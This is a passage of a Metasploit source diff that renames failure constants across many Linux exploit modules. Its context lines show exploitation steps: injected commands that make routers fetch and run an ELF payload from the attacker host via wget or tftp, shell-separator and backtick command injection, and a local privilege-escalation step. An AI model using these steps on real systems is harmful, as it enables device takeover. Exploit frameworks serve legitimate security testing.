"#{rhost}:#{rport} - Backdoor service has not been spawned!!!") end return end @@ -220,7 +220,7 @@ def exploit_mips type = "add" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download @@ -236,7 +236,7 @@ def exploit_mips type = "delete" res = request(cmd, type) if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end end @@ -317,7 +317,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") end end end diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb index 7c1ce2ebcf0ab..e69152294d813 100644 --- a/modules/exploits/linux/http/dreambox_openpli_shell.rb +++ b/modules/exploits/linux/http/dreambox_openpli_shell.rb @@ -71,7 +71,7 @@ def exploit }) rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT - fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + fail_with(Msf::Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting") end end end diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb index f2238b090d113..7a7b43aef756f 100644 --- a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb +++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb @@ -64,13 +64,13 @@ def exploit } ) - fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil? + fail_with(Failure::Unknown, 'No response from remote host') if res.nil? if res.headers['Location'] =~ /users\/login$/ - fail_with(Exploit::Failure::NoAccess, 'Authentication failed') + fail_with(Failure::NoAccess, 'Authentication failed') else session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/ - fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil? + fail_with(Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil? end print_status('Retrieving the CSRF token for this session...') @@ -80,10 +80,10 @@ def exploit 'uri' => normalize_uri(target_uri) ) - fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil? + fail_with(Failure::Unknown, 'No response from remote host') if res.nil? if res.headers['Location'] =~ /users\/login$/ - fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') + fail_with(Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') else csrf_param = $1 if res.body =~ //i csrf_token = $1 if res.body =~ //i @@ -93,7 +93,7 @@ def exploit csrf_token = $1 if res.body =~ //i end - fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil? + fail_with(Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil? end payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3) diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb index 48c9bf93fc276..a6a0d1e1be726 100644 --- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb +++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb @@ -120,7 +120,7 @@ def exploit print_status("#{peer} - Attempting to login...") @josso_id = get_josso_token if @josso_id.nil? - fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID") + fail_with(Failure::NoAccess, "#{peer} - Unable to retrieve a JOSSO session ID") end print_good("#{peer} - Authentication successful") diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 3b45dd20f1325..52bd056dd4c05 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -118,25 +118,25 @@ def exploit 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end if target.name =~ /CMD/ if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end @@ -192,7 +192,7 @@ def exploit cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download @@ -211,7 +211,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # @@ -221,7 +221,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end end @@ -247,7 +247,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index b193dda13f7dd..b57f073b92cc2 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -119,25 +119,25 @@ def exploit 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end if target.name =~ /CMD/ if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end @@ -166,7 +166,7 @@ def exploit cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}" res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download @@ -186,7 +186,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # @@ -196,7 +196,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end end @@ -211,7 +211,7 @@ def wait_linux_payload waited += 1 if (waited > datastore['DELAY']) @tftp.stop - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 816d10cfd606a..c9a1a3fc5af22 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -93,29 +93,29 @@ def grab_config(user,pass) 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) if res.body =~ /lan_ipaddr_0/ print_good("#{rhost}:#{rport} - Successful downloaded the configuration") else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible") end else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end #now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested! @now_proto_orig = get_config(res.body, "") if @now_proto_orig !~ /dhcp/ - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device") end @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;") if @wan_proto_orig !~ /dhcp/ - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device") end @lan_proto_orig = get_config(res.body, "") @@ -170,7 +170,7 @@ def restore_conf(user,pass,uri) res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") end #the device needs around 10 seconds to apply our current configuration @@ -263,15 +263,15 @@ def exploit 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end @@ -279,13 +279,13 @@ def exploit if target.name =~ /CMD/ if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded cmd = "`#{cmd}`" res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end @@ -345,7 +345,7 @@ def exploit cmd = "`#{cmd}`" res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download @@ -366,7 +366,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) @@ -379,7 +379,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) @@ -413,7 +413,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb b/modules/exploits/linux/http/mutiny_frontend_upload.rb index 2d8db164531bd..641711c4ee722 100644 --- a/modules/exploits/linux/http/mutiny_frontend_upload.rb +++ b/modules/exploits/linux/http/mutiny_frontend_upload.rb @@ -148,7 +148,7 @@ def exploit if login print_good("#{@peer} - Login successful") else - fail_with(Exploit::Failure::NoAccess, "#{@peer} - Login failed, review USERNAME and PASSWORD options") + fail_with(Failure::NoAccess, "#{@peer} - Login failed, review USERNAME and PASSWORD options") end exploit_native @@ -162,7 +162,7 @@ def exploit_native if upload_file(elf_location, elf_filename, elf) register_files_for_cleanup("#{elf_location}/#{elf_filename}") else - fail_with(Exploit::Failure::Unknown, "#{@peer} - Payload upload failed") + fail_with(Failure::Unknown, "#{@peer} - Payload upload failed") end print_status("#{@peer} - Uploading JSP to execute the payload") @@ -172,7 +172,7 @@ def exploit_native if upload_file(jsp_location, jsp_filename, jsp) register_files_for_cleanup("#{jsp_location}/#{jsp_filename}") else - fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") + fail_with(Failure::Unknown, "#{@peer} - JSP upload failed") end print_status("#{@peer} - Executing payload") diff --git a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb index 3f113e4cd980a..6be9ad273190b 100644 --- a/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb @@ -122,25 +122,25 @@ def exploit 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end if target.name =~ /CMD/ if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end @@ -196,7 +196,7 @@ def exploit cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download @@ -215,7 +215,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the Netgear device to chmod #{downfile}") res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # @@ -225,7 +225,7 @@ def exploit print_status("#{rhost}:#{rport} - Asking the Netgear device to execute #{downfile}") res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end end @@ -251,7 +251,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end diff --git a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb index ae4c75b5029c5..f39a5471f191f 100644 --- a/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb +++ b/modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb @@ -93,19 +93,19 @@ def grab_config(user,pass) 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) if res.body =~ /pppoe_username/ print_good("#{rhost}:#{rport} - Successfully downloaded the configuration") else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported") end else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end @pppoe_username_orig = get_config(res.body, "<\/td") @@ -139,7 +139,7 @@ def restore_conf(user,pass,uri) res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") end print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") @@ -209,10 +209,10 @@ def logout(user,pass) 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end end @@ -235,28 +235,28 @@ def exploit 'authorization' => basic_auth(user,pass) }) if res.nil? or res.code == 404 - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") end rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end grab_config(user,pass) if target.name =~ /CMD/ if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded cmd = "%26%20#{cmd}%20%26" res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") end @@ -313,7 +313,7 @@ def exploit cmd = "%26%20#{cmd}%20%26" res = request(cmd,user,pass,uri) if (!res) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") end # wait for payload download @@ -357,7 +357,7 @@ def wait_linux_payload select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb index a8e8708329bbd..05c8c2b420d63 100644 --- a/modules/exploits/linux/http/nginx_chunked_size.rb +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -193,7 +193,7 @@ def store(buf, address, value) def dereference_got unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback]) - fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined") + fail_with(Failure::NoTarget, "Invalid target specified: no callback functions defined") end buf = "" @@ -224,7 +224,7 @@ def exploit canary = find_canary if canary.nil? || canary == 0x00000000 - fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary") + fail_with(Failure::Unknown, "#{peer} - Unable to find stack canary") else print_good("#{peer} - Canary found: 0x%08x\n" % canary) end diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index c000468105971..f51ab44078f26 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -114,15 +114,15 @@ def exploit 'cookie' => "usercookie=#{user}; passcookie=#{pass};", }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unknown, 'Connection failed') + fail_with(Failure::Unknown, 'Connection failed') end if res and res.code == 200 and res.body =~ /System : Network Setup<\/title>/ print_good("#{@peer} - Payload sent successfully") elsif res and res.code == 302 and res.headers['Location'] =~ /\/index\.html\?redirect/ - fail_with(Exploit::Failure::NoAccess, 'Authentication failed') + fail_with(Failure::NoAccess, 'Authentication failed') else - fail_with(Exploit::Failure::Unknown, 'Sending payload failed') + fail_with(Failure::Unknown, 'Sending payload failed') end end diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index e59ee40fa6060..482976aeff39b 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -100,7 +100,7 @@ def exploit print_status("#{rhost}:#{rport} - Retrieving session cookie...") cookies = get_cookies if cookies.nil? - fail_with(Exploit::Failure::Unknown, "Failed to retrieve the session cookie") + fail_with(Failure::Unknown, "Failed to retrieve the session cookie") end print_status("#{rhost}:#{rport} - Executing payload...") diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 7aeb2ba31e47a..debf60ad2b788 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -110,13 +110,13 @@ def exploit } }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - fail_with(Exploit::Failure::Unreachable, 'Connection failed') + fail_with(Failure::Unreachable, 'Connection failed') rescue - fail_with(Exploit::Failure::Unknown, 'Sending payload failed') + fail_with(Failure::Unknown, 'Sending payload failed') end if res and res.code == 401 - fail_with(Exploit::Failure::NoAccess, 'Authentication failed') + fail_with(Failure::NoAccess, 'Authentication failed') end end diff --git a/modules/exploits/linux/imap/imap_uw_lsub.rb b/modules/exploits/linux/imap/imap_uw_lsub.rb index b51409b50127d..e361f4ffbdc06 100644 --- a/modules/exploits/linux/imap/imap_uw_lsub.rb +++ b/modules/exploits/linux/imap/imap_uw_lsub.rb @@ -74,7 +74,7 @@ def brute_exploit(addresses) print_status("Trying 0x%.8x ..." % addresses['Ret']) if (not connect_login) - fail_with(Exploit::Failure::Unknown, "Unable to log in!") + fail_with(Failure::Unknown, "Unable to log in!") end req = "a002 LSUB \"\" {%d}\r\n" % target['Offset'] diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb index 3dee7eb9b2bfc..db228d896aa46 100644 --- a/modules/exploits/linux/local/hp_smhstart.rb +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -86,7 +86,7 @@ def exploit exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better id=cmd_exec("id -un") if id!="hpsmh" - fail_with(Exploit::Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this") + fail_with(Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this") end cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)") cmd_exec("#{datastore['smhstartDir']}/smhstart") diff --git a/modules/exploits/linux/local/kloxo_lxsuexec.rb b/modules/exploits/linux/local/kloxo_lxsuexec.rb index 4619a132f7836..813588fd3b086 100644 --- a/modules/exploits/linux/local/kloxo_lxsuexec.rb +++ b/modules/exploits/linux/local/kloxo_lxsuexec.rb @@ -84,7 +84,7 @@ def exploit print_status("Checking actual uid...") id = cmd_exec("id -u") if id != "48" - fail_with(Exploit::Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this") + fail_with(Failure::NoAccess, "You are uid #{id}, you must be uid 48(apache) to exploit this") end # Write msf payload to /tmp and give provide executable perms diff --git a/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb b/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb index f83ab68a016b8..d8eea83af5ca0 100644 --- a/modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb +++ 